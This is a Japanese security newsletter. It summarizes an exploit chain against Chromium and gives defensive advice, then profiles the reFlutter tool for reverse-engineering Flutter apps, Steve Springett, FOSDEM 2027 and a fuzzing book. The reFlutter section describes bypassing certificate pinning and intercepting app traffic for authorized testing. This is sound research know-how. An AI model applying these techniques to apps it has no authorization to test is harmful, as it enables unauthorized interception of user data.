BlueMoonの事件は、オープンソースのセキュリティモデルに内在する、広がり続ける脆弱性の時間枠を浮き彫りにしています。Chromiumのエンジニアがセキュリティ修正を公開Gitリポジトリにコミットすると、その差分はセキュリティ研究者にも脅威アクターにも等しく見えるのです。
企業は、標準的な月次のパッチサイクルだけに頼ることはできません。
ブラウザーのリリースへの追従を速める:ブラウザーの自動アップデートを有効にし、安定版のポイントリリースから24時間以内の再起動をポリシーで強制する。
リスクの高い閲覧を隔離する:外部のメールリンクや信頼できないWebアセットにアクセスするユーザー向けに、リモートブラウザー分離(RBI)やサンドボックス化された仮想デスクトップインフラを導入する。
ALPCとカーネルの異常を監視する:権限のないプロセスが親プロセスに対して昇格したアクセスマスク(PROCESS_ALL_ACCESS)を取得していないか監視する。
BlueMoonのエクスプロイトチェーンが成功したのは、単一の壊滅的な失敗によるものではなく、互いに切り離されたシステム間の信頼境界を体系的に利用したからです。要素の種類を信頼したコンパイラーの最適化、生のジャンプテーブルを露出させたWebAssemblyエンジン、ACLのバッファを誤計算したカーネルのサブシステム、そしてレガシーHMACへ穏やかにフォールバックしたブラウザーの整合性検証です。
上流のパッチと企業でのアップデートの差が4週間あるとき、公開リポジトリにある修正は防御ではありません。攻撃の設計図なのです。
出典と開示:
🛠️ 今週のツール
端末にプロキシを設定すれば、Flutterアプリの通信をキャプチャできる。
必ずしもそうではありません。
reFlutterは、アプリにバンドルされたFlutterエンジンを置き換えて、内部の詳細を露出させ、通信の検査を支援します。
AndroidとiOSのFlutterアプリケーション向けの、オープンソースのリバースエンジニアリングフレームワークです。
イメージとしては、次のようなものです。
パッチを当てたFlutterエンジン+Dartの内部構造のマップ+通信傍受のサポート。
何ができるのか
研究者はreFlutterを使って、次のことができます。
クラス名と関数名を抽出する
一部のフィールドの値を出力する
さらなる解析のために関数のオフセットを特定する
Burp Suite経由でのHTTPS通信の傍受を支援する
Flutterの一部の証明書ピンニングの実装をバイパスする
パッチを当てたエンジンの仕組み
Flutterのモバイルアプリは、リリース時にDartのコードをネイティブのマシンコードにコンパイルします。バンドルされたFlutterエンジンには、それを実行するランタイムが含まれています。
reFlutterは、互換性のある改変済みエンジンに置き換えます。アプリが読み込まれると、このエンジンがDartコードの構造に関する情報をダンプファイルに記録します。
その情報は、調査の起点になり得ます。たとえば、セッション管理に関連するクラスがあれば、研究者が認証の挙動をどこで調べるべきかを判断する助けになるかもしれません。
見えない通信から可視化されたリクエストへ
研究者がテストアカウントを使ってFlutterアプリを評価しているとします。
アプリはアカウント情報を読み込みますが、対応するリクエストがBurp Suiteに表示されません。
DartのHTTPクライアントは、プロキシの解決が設定されていない限り直接接続します。そのため、端末にプロキシを設定しても、これらのリクエストがプロキシを経由するとは限りません。
reFlutterを使えば、研究者は次のことができます。
サポートされているアプリのパッチ適用済みコピーを用意する。
署名してテスト端末にインストールする。
該当するエンジンのバージョンに合わせて通信のルーティングを設定する。
操作を繰り返し、Burp Suiteでリクエストを検査する。
それらのリクエストを手がかりに、さらにAPIのテストを進める。
たとえば、サーバーがどのアカウント情報を返すかを調べ、異なるテストアカウント間でアクセス制限が保たれているかをテストできます。
解析のカスタマイズ
このプロジェクトには、ダンプのオフセットを使って関数にアタッチするためのFridaスクリプトが含まれています。関数呼び出しをログに記録し、引数や戻り値に関連するメモリを検査できます。
研究者はこれを応用して、アプリで操作を繰り返しながら特定の関数を調査し、抽出した詳細と実行中に観測された挙動を結びつけることができます。
苦手なこと
互換性は、アプリのFlutterエンジンのバージョンと端末のアーキテクチャに左右されます。
コードの難読化によって、意味のあるクラス名や関数名が読みにくいシンボルに置き換えられ、抽出した情報の解釈が難しくなることがあります。
また、ダンプから元のDartソースコードが完全に再構築されるわけではありません。
置き換えないもの
抽出された関数名は手がかりです。キャプチャしたAPIリクエストは観測結果です。どちらも、それだけで脆弱性を立証するものではありません。
研究者は依然として、ロジックを調べ、サーバーの挙動をテストし、疑わしい弱点を再現する必要があります。
reFlutterは、Flutterアプリが何を含み、どのように通信しているのかを研究者が調べる助けになります。
👏 今週の人物
Steve Springett
今週は、Steve Springettを紹介します。OWASP Dependency-Trackの作者であり、CycloneDXの創設者です。
Steveは2013年、組織が使用しているコンポーネントと、それによって引き継ぐリスクを追跡できるよう、Dependency-Trackを始めました。その後CycloneDXを創設し、CycloneDXは2024年に国際標準になりました。
CycloneDXは、アプリケーション内部のコンポーネントの一覧であるソフトウェア部品表(SBOM)のための共通フォーマットを提供します。Dependency-Trackはこれらの一覧を既知の脆弱性やライセンスのリスクについて解析し、影響を受けるコンポーネントがアプリケーション全体のどこで使われているかをセキュリティチームが特定できるよう支援します。
組織が自社のソフトウェアの中身を理解し、それに伴うリスクを管理するのに役立つ標準とツールを築いてきたことから、Steve Springettを今週の人物に選びました。
📅 今週のイベント
FOSDEM 2027
自社のアプリケーションが依存しているオープンソースソフトウェアを作っている人々から直接話を聞きたいなら、FOSDEM 2027は追いかける価値があります。
ボランティアによって運営されるFOSDEMには、毎年8,000人を超える開発者がブリュッセルに集まります。このイベントでは、技術講演、プロジェクトのブース、そしてコミュニティ主導の「developer rooms」が組み合わされ、コントリビューターが特定の技術について議論し、自分たちの成果を共有します。
2027年のプログラムはまだ固まっていません。2026年の開催回では、プログラミング言語やクラウドインフラに加えて、セキュリティ、ソフトウェアサプライチェーン、デジタルフォレンジック、コンテナ、モバイル開発が取り上げられました。参加は無料で、登録も不要です。
📍 ULB Solbosch Campus, Brussels, Belgium
📚 今週の本
Fuzzing Against the Machine
著者:Antonio Nappa、Eduardo Blázquez
すべてのデバイスを所有することが不可能なとき、ファームウェアはどうテストすればよいのでしょうか。
Fuzzing Against the Machineは、研究者がQEMUとAFLやAFL++を組み合わせて、エミュレートされた環境でソフトウェアを実行し、変化する入力を与え、脆弱性を示す可能性のある障害を観測する方法を解説しています。
本書は、エミュレーションとファジングの基礎から始まり、組み込みシステムや独自ファームウェアのための実践的な環境へと進みます。例として、OpenWrt、SamsungのShannonベースバンド、iOSとAndroidのライブラリを取り上げています。また、デバッガーと逆アセンブラーが、ファザーの発見したものを研究者が調査する際にどう役立つかも示しています。
最大の強みは、ツールを一つのワークフローに結びつけている点です。脆弱性研究の中で、エミュレーション、計装、ファジング、クラッシュ解析がどのように連携するのかを読者は理解できます。
物理的なハードウェアに全面的に頼ることなく脆弱性を見つける方法を実践的に学びたいセキュリティ研究者、ファームウェアエンジニア、モバイルセキュリティテスターにとって、有益な一冊です。
😅 今週のミーム
エージェントのコードがすべてのテストに合格したとしても、その作業を承認する前に、チームがまだ知る必要があることは何でしょうか。
The Breach Brief、Ostorlabチーム


















